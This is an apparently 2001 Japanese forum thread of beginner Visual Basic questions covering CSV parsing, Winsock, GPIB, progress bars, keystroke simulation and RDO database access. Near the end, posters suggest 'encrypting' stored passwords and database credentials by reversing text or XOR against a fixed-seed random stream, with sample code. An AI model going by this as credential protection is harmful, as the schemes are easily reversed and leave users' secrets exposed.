Dim Scedules As New Collection '日程コレクション
Dim NewScedule As Scedule '新規作成した日程
Dim i As Integer '繰り返し処理用カウンタ変数
i = 1

Open "C:\WINDOWS\デスクトップ\Scedule.csv" For Input As #1
Do Until EOF(1)
'新規日程オブジェクト作成
Set NewScedule = New Scedule

'値をセット
Input #1, NewScedule.Date,  ’この辺りの記述がわかりません。。

'コレクションへ新規日程を追加
Scedules.Add NewScedule

Loop
Close #1

↑このようにとりあえずコードを書いてみたのですが…

Scedules(0).Dateに4、
Scedules(0).Startに2、
Scedules(0).Lengthに7
Scedules(1).Dateに7、
Scedules(1).Startに6、
Scedules(1).Lengthに10…というようにCSVファイルの最後の行のデータまで
格納するにはどうすれば良いでしょうか。
長いうえに分かりにくくて済みませんが、どうか助言お願い致します。
149:01/12/04 00:49
すいません。軽い質問です。
文字「”」を参照するときはどう記述すればいいんでしたっけ?

if XXX = """" Then
でOK?
150デフォルトの名無しさん:01/12/04 00:53
>>149
そのとーり。
151:01/12/04 00:58
ありがと
152デフォルトの名無しさん:01/12/04 04:44
148です。訂正させて頂きます
>Public Date As Integer '番号の値が入る
>Public Start As Integer '開始の値が入る
>Public Length As Integer '長さ(終了−開始+1の値が入る)
と書きましたが
Public Date As Integer '日にち(番号じゃなかったですね)の値が入る
Public End As Integer '終了の値が入る
Public Start As Integer '開始の値が入る
のように単にCSVファイルのデータをそのまま1行ずつ格納していこうと思います。
(あと、i=1ではなく0からでした。済みません)
今まで試行錯誤を繰り返したのですがどうしても方法が分かりません。
どなたか知恵を貸して頂けないでしょうか。お願い致します
153デフォルトの名無しさん:01/12/04 04:50
VBぬた言うバカsyげっbふぃをたっいぇるバカはすべと!
お前らにはRubyhampyttaimasufgitu!
154au:01/12/04 06:58
BitbltでFormを丸ごとコピーしたのですがMediaPlayerの部分のみ真っ黒になってしまいます。
ただし、事前にMediaPlayerを起動して何らかのファイルを再生していれば真っ黒にならずに
コピーできます。これってなぜなんでしょう?またこんなことがおきない別の方法があればれ
レクチャーお願いします。
155VB厨房@:01/12/04 07:30
>>152
任意の行数を得る方法を知りたいの?
自分の場合、すごく苦しいかもしれないけど、
一度ファイルを開いて、行数をカウンタ=kして
Redim hoge(k) as integer
と宣言しなおして行数を得ている。

もし、CSVを分解して代入する方法を聞いてるとしたら、
Mid 関数、Instr関数、を使えば十分分解格納できる。
>152
長さ未定義の配列にsplit..ではダメ?
>>156
 動的配列じゃね?

 Dim intI    Integer
 Dim strA()   String

 intI = 0
 Do While なんたらかんたら
  ReDim Preserve strA(intI)
  strA(intI) = "ほにゃらら"

  intI = intI + 1
 Loop

とかやりたいの?質問の意味が理解できんかった。。。ゴメソ
158113:01/12/04 13:03
>>148
えと、DateとかEndは予約語なんでクラスのメンバ変数に使えないような。
あとInputステートメントはデータをObject変数に格納できなかったハズ(?)なんで
代入用の変数を用意しる。

Dim Scedules As New Collection
Dim newScedule As Scedule
Dim lintDate As Integer
Dim lintStart As Integer
Dim lintEnd As Integer

Open "Hoge.csv" For Input As #1
Do Until EOF(1)
Set newScedule = New Scedule
Input #1, lintDate, lintStart, lintEnd
newScedule.nDate = lintDate
newScedule.nStart = lintStart
newScedule.nEnd = lintEnd
Scedules.Add newScedule
Set newScedule = Nothing
Loop
Close #1

取り出すときは、Itemメソッド
Scedules.Item(n).nDate
もしくは、

' For Each newScedule In Scedules
' Debug.Print newScedule.nDate, newScedule.nStart, newScedule.nEnd
' Next
動くと思う。長くてスマソ。
159158:01/12/04 13:28
>>158
つられてDim文でNewしてしまたケドあんまりオススメできない(w
160名無資産:01/12/04 14:13
VBでGPIBを制御するために・・・

VBで GPIBの制御をしようと構築中です、
なにか良い雑誌や本などありましたら、教えていただけないでしょうか?

VBでGPIB制御するためには、やはりハード側の命令セットみたいなものも
理解する必要があるとおもうんですが、もし、その命令がわからないばあい
実際に試行錯誤を繰り返しながら、ためさないと いけないんですかねぇ

今 やろうとしているのは、簡単な移動装置です。
顕微鏡なんですが、この装置を遠隔的に、WINDOWSから
操作しようと思っております、

なにかご意見いただける方いらっしゃいますか?

メインから移動してきました よろしくお願いします
>>160
GPIB カード(高いよ〜〜)にドライバがついてねーか?
162名無資産:01/12/04 18:26
ドライバついてるんですけどね〜
その関数やらの使い方はなんとなーくわかるんですけど

結局のところハードに送信する命令自体がわかんないと
どうしようもないかもしれないんです。

GPIBの命令って統一されてるんですかねぇ〜
なんか装置のメーカに問い合わせても
いい反応なさそうだし・・・
(某光学装置orカメラメーカー)
>>160
ttp://www2.gihyo.co.jp/books/bookinfo.asp?ID=4-7741-0940-1

この本見て計測器をコントロールするプログラムつくりましたが、
やはり命令の載っているマニュアルが提供されていないと辛いですね。
>>154 某MLからの転載

--ここから
はじめまして!この度本MLに登録させていただきました。よろしくお願いします。
で、私はまだ学生ですが勉強も兼ねてVB又はVCをいじっています。
今回はVBでMediaPlayerに表示される画像の静止画のキャプチャを考えていますが、
Bitbltでスクリーンコピーすると動画の部分だけが真っ黒になってしまいます。
また通常のメディアプレイヤーを起動し、何らかの動画を再生しておくと正常にキャ
プチャ
できます。メディアプレイヤーを起動しないでキャプチャする方法はありませんで
しょうか?
またBitblt以外でのキャプチャ法はありませんでしょうか?ご教授お願いいたしま
す。
--ここまで
165161:01/12/04 18:52
>>162
>結局のところハードに送信する命令自体がわかんないと
>どうしようもないかもしれないんです。
どうしようもないす。
つか GPIB で制御出来る顕微鏡なんでしょ?
なのになんでコマンドリファレンスがついてないの?
166152:01/12/05 03:27
>>155-159
どうもありがとうございました。
直接オブジェクト変数にではなく、変数に代入することでいけました。
あと予約語ばんばん使ってたり、ミスばっかでした…ご指摘ありがとうございます。
質問わかりにくくて済みません、勉強になりました。
167156:01/12/05 10:48
>157
動的配列やね。さんくす
Dim strHoge() As String
Dim CSVText As String

Do While EOF(1)
 strHoge= Split(CSVText,",")
Loop

で、勝手にRedimされるから便利。一個ずつ変数宣言なんて面倒で好かん
まぁどうでもいいんだけど。
168デフォルトの名無しさん:01/12/06 05:24
VBでインターネットアプリを開発している初心者です。
Winsockコントロールを使ってTCPやUDPでやり取りして
いるデータのヘッダから、IPなどの情報を取得するには
どうしたらいいのでしょうか。

ご教授のほど、よろしくお願いしますm(_ _)m
「Winsock32.dll」でなく「Winsockコントロール」だよな
RemoteHost
RemoteHostIP
RemotePort
LocalHost
LocalHostIP
LocalPort
上記のプロパティを調べてみそ。
あと、GOOGLEで調べてみれば?サンプル一杯あるよ。
170カズ:01/12/06 12:04
はじめまして、カズと申します。
今、VB6で暗号化アプリを開発しています。そこで暗号化はできるのですが、
復号化がうまくできません。Advapi32.dllが原因ではないかといわれたのですが、
誰かその辺のことについて知ってる方がいらっしゃいましたら、ささいなことでも
かまわないのでおしえてください。よろしくお願いします。
171aaaaa:01/12/06 15:22
aaaasddfgfg
172デフォルトの名無しさん:01/12/06 15:22
テキストファイルに何行データが入っているのを調べるにはどうしたらいいでしょうか
今のところ、Input LineをEOFまでやって、そのカウントを取ることで実現していますが
もっとスマートな方法がありましたらお願いいたします。
>>172

Input Lineって改行コードを調べる関数?
だったらそれが一番スマートだと思うけど。
174168:01/12/06 16:48
>>169さん、レスありがとうございます!

例えば、UDPでデータを受け取った時に発生する
DataAraivalイベント中に

RemoteHost
RemoteHostIP
RemotePort
LocalHost
LocalHostIP
LocalPort

これらのプロパティを参照すれば、データを送って
きた相手のIPなどがわかる、ということなのでしょう
か。。。重ねての質問ですいませんが、よろしく
お願いします!
175デフォルトの名無しさん:01/12/06 16:51
>>172
ファイルを全部読み込んで改行文字をカウント。
でも多分スマートじゃない。
>>175
これなら元の方がマシだと思う。
いっそ wc 拾ってきてそいつに数えさせるとか。
177デフォルトの名無しさん:01/12/06 17:49
つーか、>>172の言うスマートってなんだろね。(w
178デフォルトの名無しさん:01/12/06 17:56
アクセスのデータベースで、データの読み込み方法の質問です。
今、以下のよう感じで「名前がwao かつ 年が10」のデータを抽出しています。
Set RS = DB.OpenRecordset(" SELECT * " & _
" FROM Hoge " & _
" WHERE Name = wao AND Age = 10;")

これを分解して、まず名前がwaoのデータを全部抽出して、そのデータベースから
年が10のデータを取り出したいのですが、どうやればいいのでしょうか。
コントロールのDragModeを自動に設定し、
任意の場所にDrag&Dropすることで、
そのコントロールの位置を移動させたいのですが、
FormのDragDropイベントで取得する X, Y を Top , Left に設定しても
見当違いのところに移動します。

どうすればマウスのDrag&Dropで思った場所に
コントロールを移動できるのでしょうか?
>>178
なんでそんな事したいか不明だが...
素直にワークテーブルに書出したら?
181178:01/12/06 18:10
こうやればいいのかと思ったんですが、やはりうまくいかないようです。
そもそもクエリーの意味を履き違えているんでしょうか。

Set QD = DB.CreateQueryDef("", " SELECT * " & _
" FROM Hoge " & _
" WHERE Name = wao;")
こうやってwaoのデータを抽出して
Set RS = QD.OpenRecordset(" SELECT * " & _
" FROM Hoge " & _
" WHERE Age = 10;")
さらに年が10を探す。
182172:01/12/06 18:22
うーん。やっぱりコレが一番なんですか。
とにかく行数だけがわかればいいので、無駄に文字を取ってきているきがして
もっといい方法があるのかなと思ったんです。
>>182
固定長のファイルだったら簡単だけどねぇ。
184新規:01/12/06 18:31
今高校の研究課題でインベーダーゲーム作ってるんですけど、
プレーヤーの左右の動かし方のプログラミングがわかんないんです。
わかる方教えていただきたい!!ちなみにプレーヤーはコアファイター
です。敵がザクちゃん
185デフォルトの名無しさん:01/12/06 18:35
>>182
行数だけを調べたくても結局ファイルの中身は
全部調べないと駄目なんで何やっても同じ。
フォーマットを決めてるんなら別だけど。

気持ちは分かるが。(w
>>181=178
RecordsetのFilterプロパティ参照

あまりオススメしないけどね・・・
188デフォルトの名無しさん :01/12/06 23:00
このスレはぼくのかいた駄目ソースのアドバイスも
もらえるんですか?
189デフォルトの名無しさん:01/12/07 00:17
HTMLエディタを作ったんですが、ENTER押しても改行できません。
ここにソースをUPしたので、どこを直したらよいかアドバイス
お願い致します。

http://www2.makani.to/akutoku/upload/index.html
190169:01/12/07 11:39
>>174
亀レススマソ
>データを送って
>きた相手のIPなどがわかる、ということなのでしょう
RemoteHost  → 接続先のホスト名
RemoteHostIP → 接続先のIP
RemotePort  → 接続先のポート
だよ。もちろんこの値をDataAraivalイベントで拾えば
送信元の情報になるね。

Winsockコントロールを使ったUDP通信のサンプルは
ここを参考にしてみてくれ。
ttp://www.comel.or.jp/%7Eakira/soft/udp_s1/udp_s1.html
191168:01/12/07 12:59
>>190=168さん、大感謝です!!!
お教えいただいた事とサイトで、さらに
通信プログラムを勉強したいと思います。
ありがとうございました!
192192:01/12/07 18:11
リストボックスの中のフォントサイズをコンボボックスを使って変更したいのです
が、変更するたびにリストボックスの高さが縮んでしまいます。
リストボックスの高さを変えずに、画面上でフォントサイズを変える方法を
教えてください。
193デフォルトの名無しさん:01/12/07 20:59
データベースからSQLでデータを取ってくるのをやってんですけど、
あんまり件数が増えると、取り出すのにえらい時間がかかって、
ハングしたかと思っちまいます。
そこで、よく市販アプリのインストール時に出るような、
残り処理時間ゲージを付けたいんですけど、
VBでできますでしょうか。
よろしくお願いします。
>>192
フォント変えるたびにリストボックスのサイズも設定しなおせば?
でもリストボックスだと勝手に補正されちゃうんだよね。
リストビューだとサイズはかわらんよ。
195デフォルトの名無しさん:01/12/07 23:36
>193
プログレスバーじゃ不満?
>193
とりあえず、データベースからそこまで沢山のデータを
一気に取り出す必要があるのかという事から考えた方が
いいと思われ。
抽出条件つけるとかして件数を絞り込むとか...
197デフォルトの名無しさん:01/12/08 17:14
WinXP(HE)でも使えるVB6のランタイムってありますか?
MEの時までは使えてたソフトが使えなくなってしまって困ってます。
通常のバージョンアップでは使えていたんですが、
フォーマットして最初からインストールしたらランタイム系が
軒並みインストールできなくなってたんです。
198193:01/12/09 12:03
>>195>>196
レスありがとうございます。
データの抽出件数に関しては、仕事上、仕方ないのです。
これでも出来る限り不必要なデータ抽出げずったんですよ・・・。

あと、プログレスバーコントロールってのは、どこから
出すんでしょうか。参照設定にそれらしいの無いんですが・・・?
199デフォルトの名無しさん:01/12/09 12:44
>>198
自分で見るだけならステータスバーの使用をお勧め。
SysCmdで文字とかステータスバーのプログレスの
表示を操作出来る。

んで一応、プログレスバーはフォームデザイン画面で
ツールバーのコントロールの選択→MicroSoft Progress Bar
を選んで配置すると使える。

VBAのフォームって個人的に好かんけど。
>>198-199
VBじゃなかったっけ?なら
Microsoft Windows Common Controls 6.0 (MSCOMCTL.OCX)
TextBoxやLabelのなかに一回り小さい色の付いたLabelを配置して
Widthを少しずつ増やしていくだけでも代用できますが。

そんなにレコード数多いの?
何分もかかる様なら%も表示したほうがよさげか
201198:01/12/09 13:13
>>199
ありがとうございます。

>んで一応、プログレスバーはフォームデザイン画面で
>ツールバーのコントロールの選択→MicroSoft Progress Bar
>を選んで配置すると使える。

ツールバーってのはツールボックスのことでしょうか(あの「TextBox」とか
のアイコンがある)。デフォルトでは、そのコントロールは無いっぽいです。
うう。
202デフォルトの名無しさん:01/12/09 13:17
>>200
お、ありがとうございます!

>Microsoft Windows Common Controls 6.0 (MSCOMCTL.OCX)
これが何か分かりません。ヘルプでも出ないんですが?

レコード数もさることながら、仕事場のPCの性能がアレで
小一時間かかったりもします。マジでハングったりも。
203199:01/12/09 13:28
>>202
そのツールボックスを右クリックしてコンポーネントをクリック。
もしくはいきなりCtrl+Tで出てくるYO。

インデックス張ったりSQL見直したりは・・したよね(w
>レコード数もさることながら、仕事場のPCの性能がアレで
うちはその点最低でもCerelon400だから助かってます。
204203:01/12/09 13:30
199でなくて200。騙ってしまった。
鬱氏。
205デフォルトの名無しさん:01/12/09 13:32
最近VBはじめました。。
ほんとうにくだらないことで申しわけないのですが、
Formの縁を無くすにはどうしたら良いのでしょうか。
FormのAppearanceを0にもしたのですが、
やはり外側に3Dっぽい縁が出来てしまうんです。
>>205
AppearanceでなくBorderStyle。
207202:01/12/09 13:43
>>203
ありました。ありがとうございます。
ちょっと研究してみます。
申し訳ないのですが、分からなかったらまた聞きに来ます。

あと、インデックスも張ってますし、SQLも改良しました。
実は、もともと、他人が作ったもので、その人に
「適当に使いやすくして使って」って言われているものなのです。
僕、初心者なのになー・・・。
208199:01/12/09 13:45
>>202
>ツールバーってのはツールボックスのことでしょうか
>(あの「TextBox」とか のアイコンがある)。

コントロールの選択ってのはツールバーの中にある、
「TextBox」とか、「Label」とかと一緒に、
「コントロールの選択」ってのがあるんよ。
(一番右下。)

分かりにくかったかな?スマソ。

>>204
気にすんな。(w
209205:01/12/09 13:49
>>206さま
ありがとうございます。0にしたら無くなりました。
ちなみに、その状態でタイトルバーだけ表示って
無理ですか?
210205:01/12/09 13:51
連続ですみません。
Formの出現位置を画面右上や、画面右下とかには
出来ないでしょうか?
211206:01/12/09 14:17
>>210
Screenオブジェクト、StartUpPositionプロパティあたりを調べてみて。

>>209
は、ちょっと必要な状況を想像できません。
212デフォルトの名無しさん:01/12/09 14:21
>>209

無理。移動したいなら、WM_NCHITTESTを使いましょう。
213箱入り息子:01/12/09 19:16
えーと、VBで「箱入り娘」(知ってます?ボードゲームです)
を作りたいのでありますが、どんなコントロールを
使えばいいのやら皆目見当もつきません!
ご教授ねがいます!以上っ!(敬礼)
>>213
VC か Delphi で「箱入り娘」コントロールを作ってもらって
それを VB に張れば1分で完成。
>>213
それだけでは教えたくてもさっぱり分からん。

もうちょっとこんな感じでこうしたいとか・・・
詳しく書こうぜ。
216デフォルトの名無しさん:01/12/09 21:21
Label.Captionの中に書く文字列の行間を調節する方法は
ないでしょうか?
217箱入り息子:01/12/09 22:25
213
>>215
すみませんでした。
えーと、現状では、「娘」とか「父」とかいう文字を書いたimageコントロールを
フォーム上でマウスでドラッグアンドドロップで移動させることは
できたんです。でも、きちんと枠内でその一つ一つの「駒」を移動
させ、移動できない方向には移動させない、といった制御が難しくてできません。
でも、なにも制限がなかったらゲームにならない(当たり前ですが)ので、
そのimageコントロールの動きを制御しなければ「箱入り娘」になりません。
214さんの言うように、「箱入り娘」コントロールみたいなものはあれば、
簡単なんですけど・・・。
どうやったらいいのでしょうか?
218デフォルトの名無しさん:01/12/09 22:31
txtのある部分を変更させるにはどのようなコードを使えば良いんですか?
一応、line inputで一行ずつtxtを文字変数として読み込んで
InStrで場所を特定して・・って感じで考えているのですが
219215:01/12/10 00:01
>>217
その箱入り娘ってのがどんなのかは知らないけど
移動先の枠の座標は分かるよな?
で、移動できる枠と移動できない枠も分かるよな?

そしたら、移動完了の時に判定できるでしょ。
移動できないんなら元に戻す、みたいなかんじで。
220215:01/12/10 00:04
>>218
MID$ステートメントで指定位置の文字を変更できるけど。
221デフォルトの名無しさん:01/12/10 01:04
>217
将棋やオセロと同じで、マス目を配列変数で用意する。
何もいなければ0、何かいれば1にする。
1点の位置が決まれば、大きさや形にしたがって、
いくつかのマス目も1になる。
もし動き先が1なら、そこには動かせないということになる。
222デフォルトの名無しさん:01/12/10 06:25
マウスカーソルが重なった時のみ、
テキストボックスの色を変えたいです。
テキストボックスのMouseMoveイベントに色変えるの書いたのですが、
カーソルが外出た時に色戻すイベントの取り方がわかりません。
お願いしますー。
223箱入り息子:01/12/10 10:28
>>219,221
どうもありがとうございました。
224デフォルトの名無しさん:01/12/10 13:15
>>216
PictureBoxを使って自前で描画してはどうでしょう。
225デフォルトの名無しさん:01/12/10 18:12
"Alt+Retrun"でフルスクリーン化するプログラムに対して
"Alt+R"を押したら、Retrunを押したというメッセージを送りたいのですが、
上手くゆきません。
keybd_event(vbKeyReturn,0,0,0)を使ってやってるのですが、
フルスクリーン化してしまいます。
どうすればよいでしょうか?
226デフォルトの名無しさん:01/12/10 19:43
アゴ。
サゴ。
228デフォルトの名無しさん:01/12/11 06:58
DOS窓で call c:\test.exe abc
などと入力してプログラムの起動時に引数を渡す処理を、
VBで行うには、どうすればいいのでしょうか?
>>228
Shell関数を使ってはどうでしょうか?
ヘルプで探してみてください。
あ、もしかして引数をVBでつくったアプリに渡す方法でしょうか…
渡された引数を確認するには、
Command()
232228:01/12/11 09:02
説明が下手でしたね。
VBで作ったアプリで、他のアプリに引数を渡す方法です。
ご指摘の通り、Shell関数で簡単に出来ました。(汗
ありがとうございます。
>>222
FormのMouseMoveイベントで色を戻す処理を書く。
234デフォルトの名無しさん:01/12/11 11:53
CallWindowProcAってマウス関連にしか使えないの?
235ありゃ??:01/12/11 12:58
すみません。教えてください。

メニュー画面のフォームからコマンドボタンをクリックし、次のフォームを
表示させるには、どういうコーディングをすればいいのでしょうか??

メニュー画面も次の画面も用意してxxxx.showと指定しているのですが
(参考書にはこれで展開すると・・・)うまくいきません。
「Retrunを押したというメッセージを送る」というのはうまくいってますよ。
ただそのときに既にALTが押されているので"Alt+Retrun"でフルスクリーン化
という動作になってしまっているのでしょう。

keybd_event(vbKeyReturn,0,0,0)
の前に
Public Const KEYEVENTF_KEYUP = &H2
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0)
なんかやってみたらどうでしょう。
(試してませんがうまくいけばめっけものです。)

それかReturn押下時の処理を関数化し、"Alt+R"押下時に
その関数を呼ぶとか。(ベタですが...)
「Retrunを押したというメッセージを送る」というのはうまくいってますよ。
ただそのときに既にALTが押されているので"Alt+Retrun"でフルスクリーン化
という動作になってしまっているのでしょう。

keybd_event(vbKeyReturn,0,0,0)
の前に
Public Const KEYEVENTF_KEYUP = &H2
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0)
なんかやってみたらどうでしょう。
(試してませんがうまくいけばめっけものです。)

それかReturn押下時の処理を関数化し、"Alt+R"押下時に
その関数を呼ぶとか。(ベタですが...)
238デフォルトの名無しさん:01/12/11 13:51
>>235

>xxxx.show

・xxxxの名前が違う。
・showが全角
239perl2vb:01/12/11 15:31
perl なら、関数に配列を渡す場合、

$date = "2001/12/11";
@job = ("mail","meeting","test","coding","design");## PERLの配列

myfunction( $date, @job);

sub myfunction{
my ($str, @array) = @_;

## 以下省略

}

なんて形にするけど、VB だとどうなるのか教えてください。

ヘルプはたくさん書いてあるわりには検索に時間がかかるばかり
でぜんぜんわかんねー。
240デフォルトの名無しさん:01/12/11 15:48
>>239

配列の先頭アドレスを渡す。
>>239
ParamArray使う。
VBの簡単な修正を頼まれてソースを渡されました。しばらく放置していて
そろそろ手をつけるかとプロジェクトを読み込み、デバッガで走らせようとしたら
RDOの関係のモジュールがすべてエラーになってしまうのです。
参照設定では、MSRDO20.DLLはちゃんと指定してあるので困りました。
Win2K(SP2)+VB6(SP4)の環境です。渡された当初は当然ですが問題なかった。
最近やった大きいことはというと、IEを6.0にしたことと、Delphyパーソナルを
入れたことか。
助言を願います。馬鹿ですみません。
243perl2vb:01/12/11 17:22
>>241

参照がわはaramArrayを使えばいいのはわかったけど、
参照元はハードコーディングでなく呼び出す方法はないの?

知ってる人、おしえてくださーい。
244デフォルトの名無しさん:01/12/11 17:34
>>243
こんなんダメ?
private function Job(str() as string) as Variant
Job=str
end function
245242:01/12/11 17:40
悲しい。あせる。すぐに手をつければよかった、ってのも意味がないか。
rdoErrorsやrdoConnectionのデータ定義からしてだめ。
オブジェクトブラウザーにRDOは見えているのに。
とりあえず、VisualStudioのSP5を落としながらWebサーチをします。
お心当たりあれば引き続きよろしくお願いします。
246デフォルトの名無しさん:01/12/11 17:47
>>245
エラーNoと内容を見せれ
247242:01/12/11 18:02
>246 ありがとう。
Error$を評価すると、
"コンパイルエラーsubまたはFunctionが定義されていません。Error35"
が帰ってくる。
DLLの参照に関するエラーでしょうけど、MSRDO20.DLLは「ある」し「指定されている」
んですよ。悩む。
249242:01/12/11 18:36
>>248
お、とりあえず、これも落として入れてみます。回線がのろまでSP5がまだですが、
双方を落として、入れてから、また報告します。ありがとう。少し希望か?
250222:01/12/11 20:57
>>233
ありがとうございます。
でも、すでに試してますが、それダメでした。。。
なんで戻らないんだろう。
てか、なんでMouseOutイベントが無いんだろう。
if text1.width < x then
色がえ
end if

とかじゃだめ?
252242:01/12/12 00:24
VisualStudioのSP5とMDAC2.7を読み込ませたら直りました。お騒がせしました。
原因は不明ですが ^^;
急がば回れで、こういうときは、すんなりと開発環境のアンインストールと
再インストールをやってしまうのが時間のロスも神経をすり減らすのも少ないか。
知恵はつかないままだが。
253デフォルトの名無しさん:01/12/12 00:37
2000・NT系でCPU使用率を得られるらしい
NtQuerySystemInformationの宣言とか引数、戻り値を教えてくだされ

海外サイトで
NtQuerySystemInformation (SYSTEMINFOCLASS sic,
PVOID pData,
DWORD dSize,
PDWORD pdSize);
というのを見つけて、自分で書いてみたのがこれ
Public Declare Function NtQuerySystemInformation Lib "ntdll" _
( , pData As Any, ByVal dSize As Long, ByVal pdSize As Long) As Long
↑ここに入るのは分からん

VB自体始めて日も浅いし、上のも間違ってるかも
ダレか教えて下さい
254225:01/12/12 05:34
>>237
ありがとうございます。
ご指摘の通りやってみたのですが、なぜか上手くゆかないときがあります。
上手くゆくときもある、というのが謎なのですが、Altキーは押しっぱなし状態で
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0) とやっても
次回のGetKeyState()呼び出しのとき、Altキーが押されていると認識
されているみたいなので、
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0)
keybd_event(vbKeyReturn,0,0,0)
この2つの命令の間で、Altが押されたメッセージが送られるてるのでは
ないかと思ってます。
一気に、リターンだけしか押されていないという状態を送るような便利な
関数はないでしょうか?
255222:01/12/12 06:33
>>251
ありがとうございます。
しかし、それどこに書けば良いのですか?
つか、マウスオーバーでwidthが変わるんですか?
>>255
MouseMoveで、マウスの位置のxはテキストボックスの幅width
を超えることはありえるかなと思ったもので。
確かスプリットバーを作ったときは、できたような気がする。
>>256
それって、ドラッグの最中だけじゃないですか?

>>222
タイマーでGetCursorPosして判定とかは。
258デフォルトの名無しさん:01/12/12 13:14
どんな解像度でもフォームを画面の中心に表示できるようにしたいのですが
Form2.Left = (Screen.Width - Form2.Width) / 2
Form2.Top = (Screen.Height - Form2.Height) / 2
とやってもうまくいかないんです。どうすればいいのでしょうか?
259258:01/12/12 13:55
もう一つお願いします
パスワードがない状態では利用できないようにしたいのですが
テキストファイルを読んでパスワードと一致するか比較して
違ったらExit subとする、ぐらいしか思いつかないのですが
もっとスマートな方法はあるのでしょうか?
>>258
Formのロードイベントの所にそのコードをコピペして試したけど、
きちんと動いたよ。

ところで、FormのStartUpPositionプロパティで「画面の中央」じゃ駄目なの?
261デフォルトの名無しさん:01/12/12 14:17
>>259
基本的にはそれで良いかと思います。

パスワードを暗号化して保存するぐらいは
やったほうが良いかもしれませんが。
>>258
ScaleModeはTwipにしてある?
263クリスタルレポート:01/12/12 17:22
現在、VBからクリスタルレポートを開く時、
参照先のDB名を変更出来なくこまっています。
下記のコードのように幾つか試しているのですがうまくいきません。
ご存知の方がいらっしゃいましたら、是非教えて下さい。
バージョンは、VB6.0、Crystal Reports8.5
DBは、DB2、バージョン7で、RDO接続です。
初心者ではありませんが、どうかよろしくお願いします。

Dim Report As New CrystalReport1
Public rEn As rdoEngine
Public rEv As rdoEnvironment
Public rCn As rdoConnection
Public rRs As rdoResultset
Public sCnct As String
Public str_SQL As String

Private Sub test_Click()

sSQL = SQL_MAKE() 'SQL作成

sCnct = "DSN=DB2TEST2; UID=ADMINISTRATOR; PWD=******" ' システムDSN

Set rEn = rdoEngine
Set rEv = rEn.rdoEnvironments(0)
Set rCn = rEv.OpenConnection("", rdDriverNoPrompt, False, sCnct)
Set rRs = rCn.OpenResultset(sSQL)

'レコードセットを与える
Report.Database.SetDataSource rRs, 3, 1
'システムDSNを与える
Report.Application.OpenReport("Report1.rpt").Database.Tables.Item(1).SetLogOnInfo (sCnct)

CRViewer1.ReportSource = Report
CRViewer1.ViewReport
CRViewer1.Zoom (2)

End Sub
>>222
テキストボックスにマウスが入ったら
キャプチャーして、出て行ったら色直して
解放してやるのが一番無難ではないかと思われ。
>254
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
 
Debug.Print "Form_KeyDown"; KeyCode; Shift; GetKeyState(vbKeyMenu)
 
If KeyCode = vbKeyR And (Shift And 4) = 4 Then
  Debug.Print "Enterを押下したことにする"; KeyCode; Shift; GetKeyState(vbKeyMenu)
  Call KIS_keybd_event(vbKeyMenu, 0, KEYEVENTF_KEYUP, 0)
  Call KIS_keybd_event(vbKeyReturn, 0, 0, 0)
  Call KIS_keybd_event(vbKeyMenu, 0, 0, 0)
ElseIf KeyCode = vbKeyReturn And (Shift And 4) = 4 Then
  Debug.Print "フルスクリーン"; KeyCode; Shift; GetKeyState(vbKeyMenu)
ElseIf KeyCode = vbKeyReturn And (Shift And 4) <> 4 Then
  Debug.Print "Enter押下時の処理"; KeyCode; Shift; GetKeyState(vbKeyMenu)
End If
 
Exit Sub
 
どうもGetKeyStateは254さんの思ったとおりの動作をしていないようです。
使用しないほうがよさげ。
>>262
ScaleModeは関係ないかと
>>266
確かに。スマソ。鬱氏。
268デフォルトの名無しさん:01/12/12 20:23
>>260,262さん
>ところで、FormのStartUpPositionプロパティで「画面の中央」じゃ駄目なの?
これで解決しました。勉強不足でした。

>>261
>パスワードを暗号化して保存するぐらいは
暗号化とはどういうことをするのでしょうか
初心者ですので、もしできれば詳しく説明してただければと思います
レスサンクスです
>>268
初心者だからと行って何でも許されるわけではない。
>>268
パスワードを逆にしたり全バイト1足したり
Xor使ったり色々。
要は暗号化後には暗号前が分からなくすれば良い。

どう実装するかは自分で考えようね。
271デフォルトの名無しさん:01/12/12 22:43
vb5.0エンプラ版+SQLserver7.0スタンダード版で開発しているのですが、
接続しているデータベース・テーブルが更新・追加等された際の
イベントってあるんでしょうか?

これがわからない為に、ロード時にadodb.connectionを
バインドして、タイマー毎にadodb.commandでsp_whoやsp_lock、自前の
ストアドを走らせて確認し、イベントを発生させています。

ここが出来れば、ADO関係はActiveXDLLにして
実行プログラム自体にはraiseeventしてやるだけで
済むので大分楽になるなーっていう手抜きしたさのみでこれに
ついて調べています。

日本語が不自由ですみませんがこの辺実践してる方
いましたらご教示ください。お願いいたします。
272271:01/12/12 22:45
すみません‥sage‥
273268:01/12/12 23:06
問題外の質問と言われそうですが
暗号化の目的がよく理解できないんですが
例えばパスワードが1234としたら
テキストファイルには4321と書いて保存すると言うことですよね
1234と暗号化しないで書いても特に不都合はないように思うのですが
>>273
パスワードなんて物騒なもんが平文でその辺に置いてあることの
危険性が理解できない奴の作ったプログラムなんか使えねえよ。
275デフォルトの名無しさん:01/12/13 04:12
便乗で、暗号化教えて。
XOR演算でやってみたけど、いまいちうまくいかないです。

日本語を暗号化するときも、表示可能な文字に暗号化したい。
暗号前の文字列が長さ0の時でも、暗号化ルーチンを見破られないようにしたい。

自前より、APIのCryptを使ったほうがいいのかな。
276 :01/12/13 05:41
>>273
んじゃあ、オマエのインターネットのIDとパスワード教えろ(w
>>275
例えば、8bit×3をxorしたあと、6bit×4として取り出せば必ず表示可能な
範囲に収まる。
278261:01/12/13 08:58
>>268
unixのパスワードなんかは暗号化して保存しているから
その辺を調べてみると参考になるかもしれません。

簡単なサンプル。

'復号化は自分で作ってね。
'パスワードが正しいか判定するだけなら、ユーザが入力したパスワードを
'暗号化して、ファイルに保存してある暗号化パスワードと比較すれば判定
'できるから、必ずしも復号化は必要じゃないけどね。

Function crypt(src As String) As String
Dim l As Long, i As Long, ret As String, c As Long
Rnd -123
l = Len(src)
For i = 1 To l
c = Asc(Mid$(src, i, 1)) Xor Int(Rnd * &H10000)
ret = ret & Right$("0000" & Hex$(c), 4)
Next
crypt = ret
End Function
>>275
>暗号前の文字列が長さ0の時でも、暗号化ルーチンを見破られないようにしたい。
長さが一定以下なら末尾にゴミを突っ込んでから暗号化するとか。
280275:01/12/13 11:30
ありがとーう やってみます。
DB接続のユーザ名とパスワードをIniファイルに保存したかったもので。
281265:01/12/13 12:26
